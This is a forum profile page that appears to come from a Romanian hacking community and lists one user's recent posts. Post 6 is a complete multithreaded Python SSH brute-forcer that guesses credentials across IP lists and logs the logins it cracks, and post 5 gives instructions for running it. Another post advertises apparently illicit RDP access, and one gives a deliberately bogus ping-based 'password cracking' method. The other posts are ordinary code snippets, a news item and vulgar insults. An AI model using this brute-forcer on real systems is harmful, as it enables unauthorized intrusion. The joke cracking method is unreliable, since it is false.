Jump to content

MrGrj

Active Members
  • Content Count

    1348
  • Joined

  • Last visited

  • Days Won

    32

MrGrj last won the day on March 3

MrGrj had the most liked content!

Community Reputation

849 Excellent

About MrGrj

  • Rank
    Smartass developer
  • Birthday 01/01/1990

Profile Information

  • Gender
    Not Telling

Converted

  • Biography
    ┌П┐(◉_◉)┌П┐
  • Location
    ┌П┐(◉_◉)┌П┐
  • Interests
    ┌П┐(◉_◉)┌П┐
  • Occupation
    ┌П┐(◉_◉)┌П┐

Recent Profile Visitors

6215 profile views
  1. If you selling RDP contact me

    Earthlink
    Cox Communications
    Fuse Internet

    contact me on ICQ 669976896 or skype  jamite20006@yahoo.com
     

  2. MrGrj

    Caut coder python

    Da-mi un PM cu ce vrei mai exact si te rezolv //LE: Imi spui asa: 1. deadline 2. ce buget ai 3. ce versiune de Python vrei 4. specificatii exacte, ca sa nu avem probleme dupa. Daca nu vad astea 4 puncte in PM nu voi raspunde. Mersi
  3. MrGrj

    Aplicatie

    Ce inseamna aplicatie multimedia? Si la ce pret te-ai gandit?
  4. MrGrj

    Caut un programator

    Preturi dulci-acrisoare primiti? Oferta de martisor: iei o muie si primesti doua cadou.
  5. MrGrj

    Cerere

    Trebuie sa mai pui un argument la sfarsitul comenzii: python t.py 500 ips pass bad # adauga asta ^^^ Trebuie sa adaugi asta: paramiko.util.log_to_file("filename.log")
  6. MrGrj

    Cerere

    import Queue import paramiko import sys import threading class SSHBrute(threading.Thread): def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): while True: ip, user, passwd = self.queue.get() self.kraken(ip, user, passwd) self.queue.task_done() def kraken(self, ip, user, passwd): cracked = [] bad = open('bad.txt', 'w') val = open('valid.txt', 'a') nologs = open('nologins.txt', 'a') raw = open('raw.txt', 'a') dbg = str(sys.argv[4]) try: if ip in cracked: return False if '%user%' in str(passwd): passwd = '{}{}{}'.format(passwd.split("%")[0], user, passwd.split("%")[2]) if '%User%' in str(passwd): pwd = '{}{}'.format(user, passwd.split("%")[2]) passwd = '{}{}'.format(passwd.split("%")[0], pwd.title()) if str(passwd) == '%null%': passwd = '' ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(ip, username=user, password=passwd, timeout=35) raw.write(ip + ' ' + user + ' ' + passwd + '\n') raw.flush() chan = ssh.get_transport().open_session() chan.settimeout(35) chan.exec_command('uname -a') data = chan.recv(1024) if len(data) == 0: nologs.write('{} {} {}\n'.format(ip, user, passwd)) nologs.flush() return False val.write('{} {} {}|{}\n'.format(ip, user, passwd, data.rstrip())) val.flush() cracked.append(ip) chan.close() ssh.close() return True except Exception as e: if 'uthent' in str(e): if dbg == 'bad': bad.write(ip + '\n') bad.flush() ssh.close() return False ssh.close() return False def brutemain(): if len(sys.argv) < 2: return False ThreadNR = int(sys.argv[1]) queue = Queue.Queue(maxsize=20000) try: i = 0 for i in range(ThreadNR): t = SSHBrute(queue) t.daemon = True t.start() i += 1 except Exception as e: print('Cant start more than {} threads because: {}.'.format(i, e)) with open(str(sys.argv[2]), 'rU') as ipf: ips = ipf.read().splitlines() with open(str(sys.argv[3]), 'rU') as uf: users_and_passwds = uf.read().splitlines() try: for user_and_pass in users_and_passwds: for ip in ips: queue.put((ip, user_and_pass.split(':')[0].strip(), user_and_pass.split(':')[1].strip())) except Exception as e: print('Exception raised: {}'.format(e)) pass queue.join() if __name__ == "__main__": brutemain()
  7. """ Python version: > 3.6 """ import os DIR_PATH = '/path/to/your/music/folder' def print_files_info(): for file in os.listdir(DIR_PATH): file_path = os.path.join(DIR_PATH, file) file_size = os.path.getsize(file_path) print(f'Name: {file}; Size: {file_size} bytes.') if __name__ == '__main__': print_files_info() Asta de mai sus iti afiseasa numele si marimea unui fisier. Daca vrei sa afisezi lungimea melodiei: - pentru fisiere .mp3, poti folosi mutagen: - pentru fisiere .wav, poti folosi wave si contextlib: import contextlib import os import wave from mutagen.mp3 import MP3 DIR_PATH = '/path/to/your/music/folder' def print_files_info(): for file in os.listdir(DIR_PATH): file_path = os.path.join(DIR_PATH, file) file_size = os.path.getsize(file_path) if file.endswith('.mp3'): audio = MP3(file_path) print(f'Name: {file}; Size: {file_size} bytes; Type: mp3; Length: {audio.info.length}') elif file.endswith('.wav'): with contextlib.closing(wave.open(file_path, 'r')) as f: # The length of an audio or wave file is determined by its framerate frames = f.getnframes() rate = f.getframerate() length = frames / float(rate) print(f'Name: {file}; Size: {file_size} bytes; Type: wav; Length: {length}') else: print('Pula .mp3 sau .wav') if __name__ == '__main__': print_files_info()
  8. Toate la un gugal distanta: 1. Reverse string: #include <iostream> void reverseStringInPlace(std::string &stringToReverse) { int numCharacters = stringToReverse.length(); for (int i=0; i<numCharacters/2; i++) { std::swap(stringToReverse[i], stringToReverse[numCharacters-i-1]); } } int main() { std::string stringToReverse = "reversing a string"; std::cout << stringToReverse << std::endl; reverseStringInPlace(stringToReverse); std::cout << stringToReverse << std::endl; return 0; } 2. Factorial (recursive) int factorialfinder(int x) { if (x == 1) // HERE 5 is not equal to 1 so goes to else { return 1; }else { return x*factorialfinder(x-1); // returns 5*4*3*2*1 when x==1 it returns 1 } } 3. GCD (recursive) #include <iostream> using namespace std; int hcf(int n1, int n2); int main() { int n1, n2; cout << "Enter two positive integers: "; cin >> n1 >> n2; cout << "H.C.F of " << n1 << " & " << n2 << " is: " << hcf(n1, n2); return 0; } int hcf(int n1, int n2) { if (n2 != 0) return hcf(n2, n1 % n2); else return n1; } 4. n-th Fibo number #include<stdio.h> int fib(int n) { int f[n+1]; int i; f[0] = 0; f[1] = 1; for (i = 2; i <= n; i++) { f[i] = f[i-1] + f[i-2]; } return f[n]; } int main () { int n = 9; printf("%d", fib(n)); getchar(); return 0; } 5. Ackerman (recursive) #include <stdio.h> int ack(int m, int n) { if (m == 0) return n+1; if (n == 0) return ack( m - 1, 1 ); return ack( m - 1, ack( m, n - 1 ) ); } int main() { for (int i = 0; i < 6; ++i) for (int j = 0; j < 6; ++j) printf("ack(%d,%d) = %d\n", i, j, ack(i,j)); return 0; } La alea cu structuri de date mi-e lene sa caut, da' pula mea, mai fa si tu ceva.
  9. GG pentru initiativa. Vad ca ai ceva timp pe forumu' asta si eu intru din ce in ce mai rar. Am incercat sa dau c/p intr-uun IDE sa bag cateva imbunatatiri da' sa-mi bag pula daca nu mai mult m-am enervat. Daca vrei sa faci ceva cum trebe' pentru forum (chiar daca spui ca ii facut asa intr-o doara in conced), fa si tu un commit pe git sau ce folosesti tu, pune un link aici, alege o versiune de Python recenta nu ceva care o sa fie deprecated maine poimaine. Ca mai vine azi unu' cu un edit, maine altu' cu un issue, si pac te trezesti cu meleonu' de la Dragnea care iti cumpara aplicatia si o baga pe RATB. Pwp & no homo
  10. 1. Deschizi un terminal 2. Bagi comanda urmatoare: ping 127.0.0.1 # username 3. (In loc de "username" pui username-ul ala gasit de tine). INFO: In response o sa vezi ca primesti niste chestii ca: 4 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.063 ms 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.080 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.135 ms ... 4. Lasi sa primesti vreo 300-400 de astfel de linii si parola o sa fie una din ele astfel: icmp_seq=0 + time. Exemplu 1: icmp_seq=00.063 Exemplu 2: icmp_seq=10.080 ... si tot asa. Ideea e sa ai rabdare sa le iei pe toate la mana si sa nu ratezi nici macar una. Eu asa am spart vreo 20 de d-alea. Sper sa mearga si la tine. (La asta se referea si @u0m3 cand a zis de "bruteforce" sau "phishing"). Nu te lua dupa astia de aici ca sunt rai si nu vor sa ajute oameni. Fundita pls
  11. IBM has struck a deal to acquire cloud software company Red Hat for $34 billion. IBM will pay $190 per share for the software company, which it described as the world's leading provider of open source cloud software, a more than 60% premium to Red Hat's closing stock price of $116.68 on Friday. Shares traded upwards of $175 in June, butdisappointing earnings combined with a volatile market had seen the price drop sharply. More here: https://www.businessinsider.com/ibm-is-reportedly-nearing-a-deal-to-acquire-redhat-the-software-company-valued-at-20-billion-2018-10
  12. N-ai shaiz-da-euro ma? Mars la distractie aicisha ca iar te duc in regie :)))))))))
  13. MrGrj

    Baze de date

    Nu seamana "catarii" cu "cautarii" niciodata.
×
×
  • Create New...